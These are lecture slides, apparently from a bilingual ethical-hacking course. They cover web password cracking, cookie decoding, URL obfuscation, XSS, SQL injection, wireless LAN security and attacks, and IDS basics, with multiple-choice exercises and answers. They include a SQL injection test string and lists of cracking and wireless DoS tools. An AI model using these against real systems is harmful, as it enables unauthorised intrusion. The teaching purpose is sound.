cookie or session variable.  
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Web Application Hacking (cont’d)  
Web-based Authentication (cont’d)  
 The stored cookie is then 
reused on subsequent visit. 
If   this cookie is stolen or 
hijacked, the attacker can 
use it to spoof the victim at 
the target website. 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 
The basic types of  

password attacks include 
Dictionary attacks 
Hybrid attacks 
Brute force attacks 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 

Dictionary attacks- A text 
file full of dictionary words 
is loaded into a password 
program and then run 
against user accounts 
located by the application. 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 

If simple password have 
been used, dictionary 
attack might be enough to 
crack the code. 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 

Hybrid attacks- Similar to 
a dictionary attack, except 
that hybrid attack add 
number or symbol to the 
dictionary words. 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 

Brute force attacks- The 
most comprehensive form 
of a attack and the post 
potentially time-
consuming. 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 

Brute force attacks can 
take weeks, depending on  
the length and complexity 
of the password. 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 
Some of  these password 

cracking tools are 
WebCracker 
Brutus 
ObiWang 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 
Brutus- It can perform 
dictionary or brute force 
attacks against Telnet, FTP, 
SNMP, and web services. 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 
Cookies 
Cookies have a legitimate 
purpose. A couple of tools 
that can be used to view 
cookies include 
CookieSpy 
Karen’s Cookie Viewer 
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Web Application Hacking (cont’d)  

Cookies (cont’d)  
If the attacker can gain 
physical access to the 
victim’s computer, theses 
tools can be used to view 
hidden passwords.  
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Web Application Hacking (cont’d)  

Cookies (cont’d)  
Here’s an example: 

Set-Cookie: UID=bWlrZTptaWtlc3Bhc3N3b3JkDQoNCg 

The UID value appears to 
contain random letters. If you 
run a Base64 decoder, you 
end up with mike:mikespassword. 
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Web Application Hacking (cont’d)  
Transforming Data to Base64 
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Web Application Hacking (cont’d)  
Transforming Data to Base64 
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Web Application Hacking (cont’d)  
Transforming Data to Base64 



74 

Web Application Hacking (cont’d)  
Transforming Data to Base64 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 
URL Obfuscation 
It is possible to hide 
address in URLs so that  
they can pass filters or 
other application defenses 
that have been put in place 
to block specific IP 
addresses. 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 
URL Obfuscation (cont’d)  
Here is an example of an 
encoded IP address: 
http://8812120797/. 
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Web Application Hacking (cont’d)  
Web-based Password Cracking 
URL Obfuscation (cont’d)  
Convert the address into 
hexadecimal, divide it into 
four sets of two digits, 
and finally convert each 
set back into decimal to 
recover the IP address. 
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Web Application Hacking (cont’d)  

URL Obfuscation (cont’d)  

CA80A05 
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補充:跨目錄存取弱點 
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補充:跨目錄存取弱點 (續) 
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Cross-Site Scripting 
Cross-site scripting (XSS) 

is a computer security 
exploit that occurs when a 
web application is used to 
gather data from a victim. 

Web Application Hacking (cont’d)  
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Cross-Site Scripting (cont’d)  

Web Application Hacking (cont’d)  

Victims who fall for the 
ruse and click on the link 
will have their credentials 
stolen. 
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Cross-Site Scripting (cont’d)  
Web Application Hacking (cont’d)  

XSS  can be prevented if 
vulnerable programs are 
patched and input is 
validated from a dynamic 
web page. 
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Cross-Site Scripting (cont’d)  
Web Application Hacking (cont’d)  

Prevention also required 
that the users remain 
leery of embedded links. 
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Cross-Site Scripting (cont’d)  
Web Application Hacking (cont’d)  
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Cross-Site Scripting (cont’d)  
Web Application Hacking (cont’d)  



87 

Cross-Site Scripting (cont’d)  
Web Application Hacking (cont’d)  
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Web Application Hacking (cont’d)  
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Web Application Hacking (cont’d)  
Intercepting Web Traffic 

Web proxies  allow the 
penetration tester to 
attack and debug web 
application. 

They  allow you to intercept, 
inspect, and modify the raw 
contents of traffic. 
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Web Application Hacking (cont’d)  

Exploiting Browser Flaws 
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Web Application Hacking (cont’d)  
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Web Application Hacking (cont’d)  

Google hacking involves 
using advanced operators 
in the Google search 
engine to locate specific 
strings of text within search 
results.  
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Web Application Hacking (cont’d)  

For example, some 
operators such as inurl, 
intitle, filetype, author, and 
so on.  
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Database Overview 
SQL Injection Vulnerabilities 
How to Test for SQL 

Injection Vulnerabilities  
Use a single quote (‘) in 
the input 
 ‘ or 1=1 - - 
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SQL Injection Vulnerabilities 

Database Overview (cont’d)  

SQL injection occurs when 
an attacker is able to insert 
SQL statement into a query 
by means of a SQL 
Injection Vulnerabilities. 
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Database Overview (cont’d)  
SQL Injection Vulnerabilities 
SQL injection allows the 

attacker to take 
advantage of insecure 
code on a system and 
pass commands directly 
to database. 
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Database Overview (cont’d)  
SQL Injection Vulnerabilities 
SQL servers are 

vulnerable because of 
poor coding practices, 
lack of input validation, 
and the failure to update 
and patch the server. 
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Database Overview (cont’d)  
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Database Overview (cont’d)  
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Database Overview (cont’d)  
SQL Injection Vulnerabilities (cont’d)  
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Database Overview (cont’d)  
SQL Injection Hacking Tools 
Some are listed here for 

your review: 
SQLDict 
SQLExec 
SQLbf 
SQLSmack 
SQL2.exe 
Msadc.pl 
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Database Overview (cont’d)  
SQL Injection Hacking Tools 
SQLDict- Performs a 
dictionary attack against 
SQL server. 
SQLExec- Executes 
commands on a comprised 
SQL server. 
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Database Overview (cont’d)  Database Overview (cont’d)  
SQL Injection Hacking Tools 
SQLbf- Another  password 
cracking program that 
performs both dictionary 
and brute force attacks. 
SQLSmack- A Linux-based 
command shell program. 



105 

Database Overview (cont’d)  

SQL2.exe- This UDP buffer 
overflow attack will return 
a command prompt to the 
attacker. 
Msadc.pl- A SQL injection 
exploit. 

SQL Injection Hacking Tools 



106 

Database Overview (cont’d)  

SQL Injection Learning Tools 
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Exercises 

Ans: D 

Which of the following best 
describe HTTP? 
A. HTTP is based on UDP. 
B. HTTP is considered a 

stateful connection. 
C. HTTP is based on ICMP. 
D. HTTP is considered a 

stateless connection. 
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Exercises (cont’d) 

Ans: C 

You found the following 
address in your log files: 
0xde.0xaa.0xce.0x1a. What is 
the IP address in decimal? 
A. 16.216.170.131 
B. 192.168.1.63 
C. 222.170.206.26 
D. 222.410.10.26 
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Exercises (cont’d) 

You have found the 
following address in your 
log files. You tried to ping 
the address 2605306123, 
and it even come back as a 
valid address. What is the 
corresponding real IP? 
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Exercises (cont’d) 

Ans: D 

A. 178.106.61.46 
B. 192.168.32.91 
C. 155.30.206.26 
D. 155.73.209.11 
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Exercises (cont’d) 

Ans: D 

 Which of the following 
tools is used to web-based 
password cracking? 
A. Wikto 
B. N-Stealth 
C. SQLSmack 
D. ObiWan 
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Exercises (cont’d) 

Ans: B 

 What form of authentication 
is characterized by its use of 
clear text? 

A. Message digest authentication 
B. Password authentication protocol 
C. Certified-based authentication 
D. form-based authentication 
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Introduction  
Wireless communication 
plays a big role in most 
people’s lives- from cell 
phone, satellite TV, to data 
communication. 
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Introduction (cont’d)   
不適合使用WLAN的場所 
→Credit-card numbers 
須防範躲在商店或住家旁停

車場的駭客(Hackers)。 

→Anything you prefer to 
keep private 

→Sensitive financial data 
金融機構的帳號與密碼被

竊取。 
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Bluetooth 

Introduction (cont’d)   

1998年由Ericsson、IBM、

Intel、Nokia與Toshiba等發

起共同成立藍芽聯盟，制定

一種使用於短距離、低功率

及低成本的無線傳輸標準。 
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藍芽提供了語音與數據通訊

功能，它期望能將所有資訊

設備都能透過此介面連結，

如印表機、鍵盤、滑鼠、行

動電話等。 

Bluetooth (cont’d)   

Introduction (cont’d)   
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Class 
Maximum 

Permitted Power 
mW (dBm) 

Range  
(近似值) 

Class 1 100 mW (20 dBm) ~100 M 

Class 2 2.5 mW (4 dBm) ~10 M 

Class 3 1 mW (0 dBm) ~1 M 

Bluetooth (cont’d)   

Introduction (cont’d)   
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Bluetooth (cont’d)   

Introduction (cont’d)   

藍芽採用的調變技術為

跳頻展頻與IEEE 802.11
類似，其中最大的差別在

於藍芽使用快速跳頻，每

秒為1600次。 
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Bluetooth (cont’d)   

Introduction (cont’d)   

Bluetooth has been shown to 
be vulnerable to attack. One 
early exploit is Bluejacking. 

Bluejacking allows an 
individual to send unsolicited 
messages over Bluetooth to 
other Bluetooth devices. 
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Bluetooth (cont’d)   

Introduction (cont’d)   

A second more damaging 
type of attack is known as 
Bluesnarfing. 

Bluesnarfing is the theft 
of data, calendar info, or 
phone book entries. 
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Introduction (cont’d)   

Bluejacking involves an 
unsolicited delivery of data 
to a Bluetooth user, whereas 
Bluesnarfing is the actual 
theft of data or information 
from a user.  

NOTE 



12 

Introduction (cont’d)   
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各種無線網路代表圖示 
Introduction (cont’d)   
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IEEE 802.11家族 

Introduction (cont’d)   
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Wireless LAN 

●WLAN的基本架構 

(無須基地台的)對等式網路 
 (Ad-Hoc Network)  
主從式網路 
 (Infrastructure Network)  
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Wireless LAN (cont’d)   
Ad-Hoc Network 
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Wireless LAN (cont’d)   
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Wireless LAN (cont’d)   
Fig. 9.2 Infrastructure WLAN 
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Wireless LAN (cont’d)   
For a computer to 

communicate or use the 
WLAN, it must be configured 
to use the same Service Set 
ID (SSID). 

The SSID distinguish one 
wireless network from 
another. It can be up to 32 
bits and is case sensitive. 
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IEEE 802.11又稱為無線乙太

網路 (Wireless Ethernet)，
因 其 使 用 的 通 信 協 定

CSMA/CA (Carrier Sense 
Multiple Access with 
Collision Avoidance)與傳統

的乙太網路類似。 

●IEEE 802.11的基本存取技術 

Wireless LAN (cont’d)   
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802.11無法使用CSMA/CD協定

的原因 
成本高，如須使用全雙工的RF
設備或成對的紅外線通道。 
不切實際，因為在同一區域內

的工作站，可能有些工作站收

不到碰撞信號。 

●IEEE 802.11的基本存取技術(續) 

Wireless LAN (cont’d)   
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CSMA/CA示意圖 

Wireless LAN (cont’d)   

DIFS Backoff 

Busy 
medium 

Data 
Time 

傳訊端 

SIFS 

ACK Time 
收訊端 

註：DIFS一般的值是34 us，而SIFS的值是16 us。 

若是第一個碼框，
則不須Backoff，
即可立即送出。 
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當出現底下兩種情況時，系統

會啟動RTS/CTS協定： 
用來傳送大的MAC封包，如

碼框長度大於2346-byte。 
誤碼碼框計數值與重送碼

框次數明顯增加 

●IEEE 802.11的基本存取技術(續) 

Wireless LAN (cont’d)   
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DIFS Backoff 

Busy 
medium 

Data 
傳訊端 

ACK 
收訊端 

SIFS 

RTS 

CTS 

SIFS SIFS 

Time 

Time 

Wireless LAN (cont’d)   

RTS/CTS協定 
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另外，RTS/CTS協定也用

來解決隱藏節點問題。 

●IEEE 802.11的基本存取技術(續) 

Wireless LAN (cont’d)   
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AP 

節點A 

可互相通訊 

節點B 

可互相通訊 

但節點A與節點B互不認識，

即兩者無法收到對方的訊息。 

Hidden Node Problem 
結果造成 
互相干擾 

Wireless LAN (cont’d)   
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CTS 

AP 
節點A 節點B 

使用RTS/CTS解決 
Hidden Node Problem 

RTS 

Area cleared 
by RTS 

Area cleared 
by CTS 

可互相通訊 

Wireless LAN (cont’d)   
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●IEEE 802.11 (1997年標準) 
●IEEE 802.11b (1999年標準) 

●IEEE 802.11g (2003年標準) 
●IEEE 802.11a (1999年標準) 

●IEEE 802.11n (2009年9月標準) 

Wireless LAN (cont’d)   
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IEEE 802.11 

第一個WLAN。 
使用的頻率是2.4~2.4835 

GHz，可用的頻寬為83.5 
MHz，資料傳送速率最多

只有2 Mbps。 

Wireless LAN (cont’d)   
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IEEE 802.11(cont’d)   

Wireless LAN (cont’d)   

因使用跳頻展頻(FHSS)與
直接序列展頻 (DSSS)兩種

調變技巧，易造成設備間混

淆與不相容。 
不易處理信號碰撞與多重路

徑干擾的問題 
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可顯著改善IEEE 802.11的缺點，

於1999年標準化。 
使用的頻率是 2.4 ~ 2.4835 

GHz，可用的頻寬為83.5 MHz，
最 高 的 資 料 傳 送 速 率 為 11 
Mbps，有效距離約100米。 

IEEE 802.11b 

Wireless LAN (cont’d)   
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提供1, 2, 5.5以及11 Mbps資
料傳送速率 

與早期的802.11標準相容，使

用全球共同認可的2.4 GHz頻
段 

IEEE 802.11b (cont’d)   

Wireless LAN (cont’d)   

只使用 DSSS 調變技巧，與

IEEE 802.11 DSSS相容。 
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使用的頻率是5.15 ~ 5.35與 
5.725 ~ 5.825 GHz，可用的

頻寬為300 MHz，最高速率

可達54 Mbps，但有效距離

約50米。 

IEEE 802.11a 

Wireless LAN (cont’d)   
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可視為IEEE 802.11b的延

伸，且使用2.4 GHz頻率，

且最高速率可達54 Mbps。 

IEEE 802.11g 

Wireless LAN (cont’d)   
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IEEE 802.11n 

Wireless LAN (cont’d)   

終於在2009年九月通過標準，

資料速率為108 Mbps以上，

10公尺以內可達300 Mbps。 
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幕後推動802.11n Draft的
兩大集團 
TGnSync (Task Group N) 
WWiSE (World-Wide 

Spectrum Efficiency) 

IEEE 802.11n (cont’d)   

Wireless LAN (cont’d)   
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TGn Sync聯盟提交的方案採用
兩條天線傳送資料，速率至少
243 Mbps，可達600 Mbps以
上 。 此 陣 營 的 公 司 包 括 ：
Atheros、思科、英特爾、北
電網絡、飛利浦、三星電子、
三洋、Sony和東芝。  

IEEE 802.11n (cont’d)   

Wireless LAN (cont’d)   
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WWiSE聯盟的主要成員有：
Airgo、Broadcom、諾基
亞 、 NTT 與 Texas 
Instrument。  

IEEE 802.11n (cont’d)   

Wireless LAN (cont’d)   
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TGn Sync與WWiSE聯盟
所提出技術的共同特徵： 
Multiple-Input/ Multiple 

Output (MIMO) 

Channel Bandwidth 

MAC Efficiency Enhancement 

IEEE 802.11n (cont’d)   

Wireless LAN (cont’d)   
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An SSID prevents access 
by any client devices that 
doesn’t have SSID. 
But, by default, an AP 

broadcast its SSID in its 
beacon many times a 
second. 

Wireless LAN (cont’d)   
WLAN Security 
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Even if SSID broadcasting 
is turned off, a bad guy can 
discover the SSID by 
monitoring the network and 
just waiting for a client 
response to the AP. 

Wireless LAN (cont’d)   
WLAN Security (cont’d)   
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Because, believe it or 
not, that information, as 
regulated in the original 
802.11 specifications, 
must be sent in the clear. 

Wireless LAN (cont’d)   
WLAN Security (cont’d)   
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在IEEE 802.11的標準中，
提供兩種型態的認證服務： 
開放式系統(Open System) 
共享鎖匙(Shared Key) 

Wireless LAN (cont’d)   
WLAN Security (cont’d)   
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開放式系統的認證模式 

進行連線通訊 

Wireless LAN (cont’d)   
WLAN Security (cont’d)   
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共享鎖匙的認證模式 

Wireless LAN (cont’d)   
WLAN Security (cont’d)   
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Originally, the Wired  
Equivalent Privacy Protocol 
(WEP) is developed to 
secure WLAN.  

Wireless LAN (cont’d)   
WLAN Security (cont’d)   

WEP is based on RC4 
symmetric encryption 
standard and uses either 64-
bit or 128-bit key.  
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Wireless LAN (cont’d)   
WLAN Security (cont’d)   
However, the keys are not 

really this many bits because 
a 24-bit Initialization Vector 
(IV) is used to provide 
randomness.  

So the “real key” is actually 
40 or 104 bits long.  
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Wireless LAN (cont’d)   
WEP加密示意圖 
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Wireless LAN (cont’d)   

WEP解密示意圖 32 bits CRC 



51 

Wireless LAN (cont’d)   

WEP碼框架構 

WEP最大碼框長度= 2304+8+34 
                              = 2346 bytes 

32 bits 24 bits 8 bits 
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2001年8月論文破解，同年破解

程式可用。 (約使用了500~600
萬封包) 

Wireless LAN (cont’d)   

WEP 的破解 
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Wi-Fi Protected Access (WPA) 
is a standard developed in 
2003 by the Wi-Fi Alliance. 

Wireless LAN (cont’d)   

WPA provides a standard for 
authentication and encryption 
of WLANs that’s intended to 
solve known security. 

WLAN Security (cont’d)   
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This protocol was created 
in response to several 
serious weaknesses 
researchers had found in 
the previous system, WEP. 

Wireless LAN (cont’d)   
WLAN Security (cont’d)   
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WPA2 replaced WPA; 
WPA2 requires testing and 
certification by the Wi-Fi 
Alliance. WPA2 
implements the mandatory 
elements of 802.11i.  

Wireless LAN (cont’d)   
WLAN Security (cont’d)   
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+補充:Wireless Security 
The Cisco-authorized CCNA-

related suggest several 
categories of threats: 
War drivers 
Hackers 
Employees 
Rouge AP 

+CCENT/CCNA ICND1, Official Exam 
Certification Guide,  2008. 
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+補充:Wireless Security 

Fig. 9.3 Evil Twin  
(man-in-the-middle-attack) 
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+補充:Wireless Security 
To reduce the risk of such 

attacks, three main types of 
tools can be used on a WLAN: 
Mutual authentication 
Encryption 
Intrusion tools 
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+補充:Wireless Security 

WLAN Security Standards 
Name Year Who defined it 

WEP 1997 IEEE 
The interim Cisco 

solution while 
awaiting 802.11i 

2001 
Cisco, IEEE 
802.1x EAP 

WPA 2003 Wi-Fi Alliance 
802.11i (WPA2) 2005+ IEEE 
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+補充:Wireless Security 

Note that 802.11i is not 
backward-compatible with 
either WPA or the Cisco-
proprietary protocols. 
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+補充:Wireless Security 

Because of the success of 
the WPA industry standard 
and the popularity term 
“WPA,“ the Wi-Fi Alliance 
calls 802.11i WPA2, meaning 
the 2nd version of WPA. 
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+補充:Wireless Security 
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Unlike the wired network, a 
hacker  can launch his attack 
from  the parking lot or even 
across the street. The entire 
act of searching for wireless 
networks has created some 
activities, such as 

Wireless LAN (cont’d)   
WLAN Threats 
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Wireless LAN (cont’d)   
WLAN Threats (cont’d)   

Warchalking 
Wardriving 
Warflying 
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Wireless LAN (cont’d)   
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Wireless LAN (cont’d)   
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Wireless LAN (cont’d)   
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Wireless LAN (cont’d)   
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Eavesdropping is one of these 
basic problems. If the hacker 
is within the range, he can  
simply intercept radio signals 
and decode data being 
transmitted.  

Wireless LAN (cont’d)   

Eavesdropping 

Anything that is not encrypted  
is vulnerable  to attack.  
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Even if encryption being 
used, a hacker 
eavesdropping on a network 
is still presented with cipher 
text, which can be stored, 
analyzed, and potentially 
cracked at a later time. 

Wireless LAN (cont’d)   

Eavesdropping (cont’d)   
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Programs such as 
L0phtcrack and John the 
Ripper can easily crack 
weak password if given 
the hash. 

Wireless LAN (cont’d)   

Eavesdropping (cont’d)   
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Wireless LAN (cont’d)   

Site surveys are a good 
tool to determine the 
number and placement of 
APs throughout the 
facilities and to locate 
signals from rouge APs. 

NOTE 
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Wireless LAN (cont’d)   

If all else fail, the attacker 
can always attempt a DoS. 
Some common types of 
wireless DoS attacks 
include  

DoS 



74 

Wireless LAN (cont’d)   

DoS (cont’d)   

Authentication flood attack 
Deauthentication flood 

attack (or Fatajack attack) 
Network jamming attack 
Equipment destruction 

attack 
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Wireless LAN (cont’d)   
DoS (cont’d)   
Authentication flood attack 
This type of DoS attack 

generate a flood of EAPOL 
(Extensible Authentication 
Protocol over LAN) message 
requesting 802.1x 
authentication.  
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Wireless LAN (cont’d)   
EAP 架構 
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Wireless LAN (cont’d)   

典型的EAP Exchange 
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802.1x的架構 

Wireless LAN (cont’d)   
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802.11中的EAPOL封包交換 

Wireless LAN (cont’d)   
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Wireless LAN (cont’d)   
DoS (cont’d)   
Fatajack attack 
This type of DoS targets 

an individual client and 
work by spoofing a de-
authentication. frame 
from the AP to the victims. 
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Wireless LAN (cont’d)   
DoS (cont’d)   
Network jamming attack 
This type of DoS targets the 

entire wireless network. The 
hackers simply builds or 
purchases a transmitter to 
flood the airwaves in the 
vicinity of the wireless 
network. 
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Wireless LAN (cont’d)   
DoS (cont’d)   

Wireless LAN (cont’d)   

Network jamming attack 
This type of DoS attack is 

as dangerous to people 
who are near the 
transmitter as it is to the 
network itself. 
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DoS (cont’d)   
Wireless LAN (cont’d)   

Equipment destruction attack 
This type of DoS targets 

the AP. The hacker uses 
a high output 
transmitter with a 
directional high gain 
antenna to pulse the AP. 
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DoS (cont’d)   
Wireless LAN (cont’d)   

High energy RF power 
will damage electronics 
in the AP, resulting it 
being permanently out of 
service. 

Equipment destruction attack 
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Outline 

Introduction  
Wireless LAN 
Wireless Hacking 

Tools 

Exercises 

Securing Wireless 
Network 
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Wireless Hacking Tools 
Some of the more well-known 
tools are discussed here: 
NetStumbler 
AiroPeek 
AirSnort 
Kismet 
Void11 
Airsnarf 
Aircrack 
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Wireless Hacking Tools (cont’d)   

NetStumbler– This 
Windows-only tool is 
designed to locate and 
detect WLANs using 
802.11b, 802.11a, and 
802.11g WLAN standards. 
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Wireless Hacking Tools (cont’d)   

AiroPeek– A Windows-
based commercial WLAN 
analyzer designed to help  
security professional 
deploys, secure, and 
troubleshooting WLANs. 
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Wireless Hacking Tools (cont’d)   

AirSnort– A Linux-based 
WLAN WEP cracking tool  
that recover encryption keys. 
Kismet– A useful Linux- 
(Windows-, BSD-) based 
802.11 wireless network 
detector, sniffer, and 
intrusion detection system. 
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Wireless Hacking Tools (cont’d)   

Void11– A wireless network 
penetration utility. It 
implements deauthentication 
DoS attacks against the 
802.11 protocol. It can be 
used to speed up the WEP 
cracking procedures. 
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Wireless Hacking Tools (cont’d)   

Airsnarf– It is a simple rouge 
AP setup utility designed to 
demonstrate how a rouge AP 
can steal usernames and 
passwords from public 
wireless hotspots. 
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Wireless Hacking Tools (cont’d)   

Aircrack– A set of tools for 
auditing wireless networks 
that includes airodump, 
aireplay, aircrack, and 
airdecap. 
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Outline 

Introduction  
Wireless LAN 
Wireless Hacking 

Tools 

Exercises 

Securing Wireless 
Network 
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Securing Wireless Network 

Deploying many layers of 
security makes it muck harder 
for an attacker to overcome the 
combined security 
mechanisms. An example of 
defense in depth can be seen 
in Fig. 9.5. 
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Securing Wireless Network 

Changing the default value of 
SSID is a good place to start. 
By configuring the AP not to 

broadcast the SSID, it can act 
as a weak password, as the 
wireless device can only 
connect the AP if the SSID is 
known. 
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Securing Wireless Network (cont’d)   

A site survey is also  
useful in detecting the 
presence of interference  
coming from other 
sources that could 
degrade the performance 
of the wireless network.  

Site Survey 
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Securing Wireless Network (cont’d)   

The six basic steps of a site 
survey include  

Site Survey (cont’d)   

Obtain a facility diagram.  
Visually inspect the 

facility. 
Identify user areas. 
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Securing Wireless Network (cont’d)   

Site Survey (cont’d)   
Use site survey tools to 

determine primary 
access locations and 
that  no rouge APs are in 
use. 
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Securing Wireless Network (cont’d)   

Site Survey (cont’d)   
After installation of APs, 

verify signal strength 
and range. 

Document finding, 
update policy, and inform 
users of rules regarding 
wireless connectivity. 
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Securing Wireless Network (cont’d)   

Robust Wireless Authentication 
802.1x provides  port-based 

access control.  When used in 
conjunction with EAP it can 
be used as a means to 
authenticate devices that 
attempt to connect to a 
specific LAN port.  
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Securing Wireless Network (cont’d)   

Robust Wireless Authentication 
The EAP can be used in 

other ways, depending on 
its implementation. 
Passwords,  digital 
certificates, and token cards 
are the most common forms 
of authentication used.  
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Securing Wireless Network (cont’d)   

Robust Wireless Authentication 
EAP can be deployed as EAP-

MD5, Cisco’s Lightweight 
EAP (LEAP), EAP with 
Transport Layer Security 
(EAP-TLS), or EAP with 
Tunneled TLS (EAP-TTLS).  
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Outline 

Introduction  
Wireless LAN 
Wireless Hacking 

Tools 

Exercises 

Securing Wireless 
Network 
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Exercises 

Ans: A 

 What the frequency does 
Bluetooth operate? 
A. 2.4 GHz 
B. 5 GHz 
C. 2.5 GHz 
D. 1.8 GHz 
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Exercises (cont’d) 

Ans: D 

 Which of the following is a 
wireless DoS tool? 
A. RedFeng 
B. THC-Wardrive 
C. Kismit 
D. Void11 
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Exercises (cont’d) 

Ans: C 

 Which of the following 
versions of EAP types only 
uses a password hash for 
client authentication? 
A. EAP-TLS 
B. PEAP 
C. EAP-MD5 
D. EAP-TTLS 
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Exercises (cont’d) 

Ans: C 

WPA2 uses which of the 
following encryption standard? 
A. RC4 
B. RC5 
C. AES 
D. MD5 
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Exercises (cont’d) 

Ans: C 

The initialization vector for 
WEP was originally how long? 
A. 8 bits 
B. 16 bits 
C. 24 bits 
D. 32 bits 
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Exercises (cont’d) 

Ans: D 

This version of 802.11 
wireless operates at the 
5.725~5.825 GHz range? 
A. 802.11b 
B. 802.11g 
C. 802.1x 
D. 802.11a 
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Exercises (cont’d) 

Ans: B 

WEP uses which of the 
following types of encryption? 

A. Asymmetric 
B. Symmetric 
C. Public key encryption 
D. SHA-1 
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Exercises (cont’d) 

Alice would like your advice 
on a wireless WEP cracking 
tool that can save him time 
and get him better results 
with fewer packets. Which of 
the following tools would you 
recommend? 
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Ans: B 

A. Kismet 
B. WEPCrack 
C. Airsnarf 
D. Aircrack 

Exercises (cont’d) 
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IDS, Firewall, and 
Honeypots 

Chapter 10 



2 

Outline 

Introduction  

 IDS 

Firewalls 

Exercises 

Honeypots 
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An intrusion detection 
systems (IDS) can be used 
to inspect network or host 
activity. They identify 
suspicious traffic and 
anomalies. 

Introduction 
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Introduction (cont’d)  
IDS systems act similar to 

security guards. 
IDS systems don’t fall 

asleep or call in sick like a 
security guard, but they are 
not infallible. They require a 
sizeable amount of time and 
tuning to do a great job. 
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Introduction (cont’d)  

Firewalls can be hardware 
or software devices that 
protect the resources of a 
protected network. 

A firewall acts as a type of 
barrier or wall and blocks 
or restricts traffic. 
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Introduction (cont’d)  

Firewalls are much like a 
border crossing in that they 
offer a controlled 
checkpoint to monitor 
ingress and egress traffic. 
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Introduction (cont’d)  
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Introduction (cont’d)  
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Introduction (cont’d)  

Although the first two 
topics deal with 
technologies to keep 
hackers out or to detect 
their presence, honeypots 
are actually designed to 
lure them in. 
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Introduction (cont’d)  

A honeypot might actually 
be configured to look like 
it has security holes or 
vulnerabilities. 
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Introduction (cont’d)  
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Introduction (cont’d)  
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Outline 

Introduction  

 IDS 

Firewalls 

Exercises 

Honeypots 
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Intrusion Detection Systems 

IDS Types and Components 
 IDS systems can be divided 

into two broad categories: 
network-based intrusion-
detection systems (NIDS) 
and host-based intrusion-
detection systems (HIDS). 
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IDS (cont’d)   

 Both can be configured to 
scan for attacks, track a 
hacker’s movements, or 
alert an administrator to 
ongoing attacks. 
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IDS (cont’d)   
 IDS systems are composed 

of the following parts: 
 Network sensors 
 Central monitoring system 
 Report analysis 
 Database and storage 

components 
 Response box 
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IDS (cont’d)   

IDS Types and Components 
 An IDS must be trained to 

look for suspicious activity. 
Fig. 10.1 details the 
relationship between IDS 
systems and the types of 
responses they can produce. 
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Fig. 10.1 IDS true/false matrix 

IDS (cont’d)   
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IDS (cont’d)   
Pattern Matching and Anomaly 

Detection 
 Pattern matching, protocol 

decoding, and anomaly 
detection are some of the 
basic characteristics and 
analysis methods used by 
IDS systems. 
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IDS (cont’d)   

 A graph showing the 
relationship of these 
types and the vendors 
that use each method is 
shown in Fig. 10.2. 
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IDS (cont’d)   
 Anomaly detection 

systems require the 
administrator to make use 
of profiles of authorized 
activities or place the IDS 
into a learning mode so that 
it can learn what 
constitutes normal activity. 
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IDS (cont’d)   

 Anomaly detection is good 
at spotting behavior that 
greatly differs from normal 
activity. 
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IDS (cont’d)   

 As an example, if a group 
of users who only log in 
during the day suddenly 
start trying to log in at 3 
a.m., the IDS can trigger an 
alert that something is 
wrong. 
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IDS (cont’d)   

A false negative is the 
worst type of event, as it 
means that an attack 
occurred but that the IDS 
failed to detect it. 

EXAM ALERT 
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Protocol decoding IDS 
systems have the capability 
to reassemble packets and 
look at higher layer activity. 

IDS (cont’d)   

If the IDS knows the normal 
activity of the protocol, it 
can pick out abnormal 
activity. 
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IDS (cont’d)   
For example, a protocol 

matching IDS can detect 
that when a number of DNS 
responses occur without a 
DNS request, a cache 
poisoning attack might be 
happening. 
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IDS (cont’d)   
Snort is a good example of 

a pattern matching IDS. 
Pattern matching IDS 

systems rely on a database 
of known attacks. These 
known attacks are loaded 
into the system as 
signatures. 



28 

IDS (cont’d)   

The signatures are usually 
given a number or name so 
that the administrator can 
easily identify an attack 
when it sets off an alert. 
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IDS (cont’d)   

Alerts can be triggered for 
fragmented IP packets, 
streams of SYN packets 
(DoS), or malformed 
Internet Control Message 
Protocol (ICMP) packets. 
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IDS (cont’d)   

A biggest disadvantage to 
the pattern matching 
system is that the IDS can 
only trigger on signatures 
that have been loaded. 
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IDS (cont’d)   

A new or obfuscated attack 
might go undetected. 
Obfuscated attacks are 
those that are disguised. 
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IDS (cont’d)   
Snort 
 Snort is a freeware IDS 

and is considered a 
lightweight, network-
based IDS that can be set 
up on a Linux or 
Windows host. 
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IDS (cont’d)   
Snort (cont’d)   
 Snort operates as a 

network sniffer and logs 
activity that matches 
predefined signatures. 
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IDS (cont’d)   
Snort (cont’d)   

 Signatures can be 
designed for a wide 
range of traffic, including 
IP, TCP, UDP, and ICMP. 
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Snort (cont’d)   
 Snort rules are made up of 

two basic parts: 

IDS (cont’d)   

 Rule header 
 Rule options 
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IDS (cont’d)   
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IDS (cont’d)   
Snort (cont’d)   
 The rule option is where Snort 

has a lot of flexibility. Table 
10.1 lists some common 
keywords Snort can use. 
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IDS (cont’d)   
Snort (cont’d)   Table 10.2 Basic Snort Rules 
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IDS (cont’d)   

 Building Snort rules is 
only half the work. After a 
Snort alert occurs, it is 
important to be able to 
analyze the signature 
output. 

Snort (cont’d)   
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IDS (cont’d)   

 To really be able to 
determine what attackers 
are doing and how they are 
doing it, it is important to 
be able to perform 
signature analysis. 

Snort (cont’d)   
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IDS (cont’d)   

 The goal of the signature 
analysis is to be able to 
identify malicious activity 
and be able to track down 
the offender.  

Snort (cont’d)   
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IDS (cont’d)   

 This activity can be 
categorized as 

Snort (cont’d)   

 Scans and enumeration 
 DoS attacks 
 Exploits 
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Fig. 10.3 Nmap ACK scan log 

IDS (cont’d)   
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IDS (cont’d)   
IDS Evasion 
 Attackers can use a range 

of techniques to attempt to 
prevent detection. These 
include techniques such as 
 Flooding 
 Evasion 
 Session splicing 
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IDS (cont’d)   
IDS Evasion (cont’d)   
 One of the most basic is 

to attempt to overload 
the IDS by flooding. 
 Flooding is nothing 

more than attempting to 
overload the IDS by 
flooding it with traffic. 
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IDS (cont’d)   
IDS Evasion (cont’d)   
 The attacker might even 

insert a number of low 
priority IDS riggers to 
attempt to keep it busy 
while a few more 
damaging attacks slip by. 
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IDS (cont’d)   
IDS Evasion (cont’d)   
 The real target and 

intent of the attacker 
might be totally lost 
